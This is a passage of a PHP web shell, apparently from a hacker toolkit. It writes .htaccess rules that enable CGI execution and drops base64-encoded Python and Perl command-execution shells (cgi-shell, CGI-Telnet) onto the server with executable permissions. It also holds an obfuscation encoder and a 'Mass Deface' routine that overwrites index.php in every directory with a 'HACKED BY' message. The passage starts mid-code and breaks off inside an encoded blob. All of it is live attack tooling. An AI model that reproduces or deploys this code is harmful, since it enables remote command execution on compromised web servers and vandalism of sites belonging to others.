$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
$metin = "AddHandler cgi-script .izo";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$pythonp = 'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB
IHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD
b3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg
cmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv
ciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg
Y29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg
Zm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv
YXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g
ZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5
OgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y
dCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz
dHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy
b20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs
aW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt
c2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw
NCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg
PSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F
VEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl
cwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi
IlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g
aXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs
dWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu
Zy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g
d2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg
aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg
ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk
XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt
W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv
cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg
PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y
IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg
ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z
aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+
CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48
ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl
cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs
ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg
Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr
IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1
dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5
ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n
IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj
cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6
IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg
ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs
YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt
KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt
aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+
PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS
PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg
ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg
ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv
dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy
aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv
biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv
bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ
TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh
bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg
ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD
SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0
ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw
cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi';
$file = fopen("python.izo" ,"w+");
$write = fwrite ($file ,base64_decode($pythonp));
fclose($file);
chmod("python.izo",0755);
echo " <iframe src=python/python.izo width=96% height=76% frameborder=0></iframe>
</div>"; }
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'string')){
$text = $_POST['code'];
?><center><br><br><b>+--=[ Script Encode & Decode ]=--+</b><br><br>
<form method="post"><br><br><br>
<textarea class='inputz' cols=80 rows=10 name="code"></textarea><br><br>
<select class='inputz' size="1" name="ope">
<option value="base64">Base64</option>
<option value="gzinflate">str_rot13 - gzinflate - base64</option>
<option value="str">str_rot13 - gzinflate - str_rot13 - base64</option>
</select> <input class='inputzbut' type='submit' name='submit' value='Encrypt'>
<input class='inputzbut' type='submit' name='submits' value='Decrypt'>
</form>
<?php
$submit = $_POST['submit'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $codi=base64_encode($text);
break;case 'str' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
break;case 'gzinflate' : $codi=base64_encode(gzdeflate(str_rot13($text)));
break;default:break;}}
$submit = $_POST['submits'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $codi=base64_decode($text);
break;case 'str' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
break;case 'gzinflate' : $codi=str_rot13(gzinflate(base64_decode($text)));
break;default:break;}}
echo '<textarea cols=80 rows=10 class="inputz" readonly>'.$codi.'</textarea></center><BR><BR>';
}
/////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'mass'))
{
echo "<center/><br/><b><font color=#00FFFF>-=[ Mass Deface ]=-</font></b><br>";
error_reporting(0);?>
<form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method='post'>
<td><table><table class="tabnet" >
<form hethot='post'>
<tr>
<tr>
<td> Folder</td><td><input class ='inputz' type='text' name='path' size='60' value="<?php echo getcwd();?>"></td>
</tr><br>
<tr>
<td>file name</td><td><input class ='inputz' type='text' name='file' size='60' value="index.php"></td>
</tr>
</tr>
<th colspan='2'><b>Index code</b></th><br></table>
<textarea style='background:black;outline:none;' name='index' rows='10' cols='67'>HACKED BY X'1N73CT,PATCH YOUR SECURITY SYSTEM</textarea><br>
<center><input class='inputzbut' type='submit' value=" Deface "></center></form></table><br></form>
<?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}}
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi')) {
echo "<center/><br/><b><font color=blue>+--==[ cgitelnet.v1 Bypass Exploit]==--+ </font></b><br><br>";
mkdir('cgitelnet1', 0755);
chdir('cgitelnet1');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .cin
AddHandler cgi-script .cin
AddHandler cgi-script .cin";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb3B5cmlnaHQgYW5kIExpY2VuY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENHSS1UZWxuZXQgVmVyc2lvbiAxLjAgZm9yIE5UIGFuZCBVbml4IDogUnVuIENvbW1hbmRzIG9uIHlvdXIgV2ViIFNlcnZlcgojCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBQZXJtaXNzaW9uIGlzIGdyYW50ZWQgdG8gdXNlLCBkaXN0cmlidXRlIGFuZCBtb2RpZnkgdGhpcyBzY3JpcHQgc28gbG9uZwojIGFzIHRoaXMgY29weXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUgc2NyaXB0CiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxkIGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQojIGluIHRoaXMgc2NyaXB0LCB5b3UgY2FuIGUtbWFpbCBtZS4KIwojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQojIEF1dGhvciBlLW1haWw6IHJvaGl0YWJAcm9oaXRhYi5jb20KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vCiMgU2NyaXB0IEhvbWVwYWdlOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2NnaXNjcmlwdHMvY2dpdGVsbmV0Lmh0bWwKIyBQcm9kdWN0IFN1cHBvcnQ6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vc3VwcG9ydC8KIyBEaXNjdXNzaW9uIEZvcnVtOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2Rpc2N1c3MvCiMgTWFpbGluZyBMaXN0OiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL21saXN0LwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgSW5zdGFsbGF0aW9uCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUbyBpbnN0YWxsIHRoaXMgc2NyaXB0CiMKIyAxLiBNb2RpZnkgdGhlIGZpcnN0IGxpbmUgIiMhL3Vzci9iaW4vcGVybCIgdG8gcG9pbnQgdG8gdGhlIGNvcnJlY3QgcGF0aCBvbgojICAgIHlvdXIgc2VydmVyLiBGb3IgbW9zdCBzZXJ2ZXJzLCB5b3UgbWF5IG5vdCBuZWVkIHRvIG1vZGlmeSB0aGlzLgojIDIuIENoYW5nZSB0aGUgcGFzc3dvcmQgaW4gdGhlIENvbmZpZ3VyYXRpb24gc2VjdGlvbiBiZWxvdy4KIyAzLiBJZiB5b3UncmUgcnVubmluZyB0aGUgc2NyaXB0IHVuZGVyIFdpbmRvd3MgTlQsIHNldCAkV2luTlQgPSAxIGluIHRoZQojICAgIENvbmZpZ3VyYXRpb24gU2VjdGlvbiBiZWxvdy4KIyA0LiBVcGxvYWQgdGhlIHNjcmlwdCB0byBhIGRpcmVjdG9yeSBvbiB5b3VyIHNlcnZlciB3aGljaCBoYXMgcGVybWlzc2lvbnMgdG8KIyAgICBleGVjdXRlIENHSSBzY3JpcHRzLiBUaGlzIGlzIHVzdWFsbHkgY2dpLWJpbi4gTWFrZSBzdXJlIHRoYXQgeW91IHVwbG9hZAojICAgIHRoZSBzY3JpcHQgaW4gQVNDSUkgbW9kZS4KIyA1LiBDaGFuZ2UgdGhlIHBlcm1pc3Npb24gKENITU9EKSBvZiB0aGUgc2NyaXB0IHRvIDc1NS4KIyA2LiBPcGVuIHRoZSBzY3JpcHQgaW4geW91ciB3ZWIgYnJvd3Nlci4gSWYgeW91IHVwbG9hZGVkIHRoZSBzY3JpcHQgaW4KIyAgICBjZ2ktYmluLCB0aGlzIHNob3VsZCBiZSBodHRwOi8vd3d3LnlvdXJzZXJ2ZXIuY29tL2NnaS1iaW4vY2dpdGVsbmV0LnBsCiMgNy4gTG9naW4gdXNpbmcgdGhlIHBhc3N3b3JkIHRoYXQgeW91IHNwZWNpZmllZCBpbiBTdGVwIDIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQokUGFzc3dvcmQgPSAiMTIzNDU2IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4KCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+Q0dJLVRlbG5ldCBWZXJzaW9uIDEuMDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+Cjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMDAwMDAwIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4KPHRyPgo8dGQgYmdjb2xvcj0iI0MyQkZBNSIgYm9yZGVyY29sb3I9IiMwMDAwODAiIGFsaWduPSJjZW50ZXIiPgo8Yj48Zm9udCBjb2xvcj0iIzAwMDA4MCIgc2l6ZT0iMiI+IzwvZm9udD48L2I+PC90ZD4KPHRkIGJnY29sb3I9IiMwMDAwODAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiIGNvbG9yPSIjRkZGRkZGIj48Yj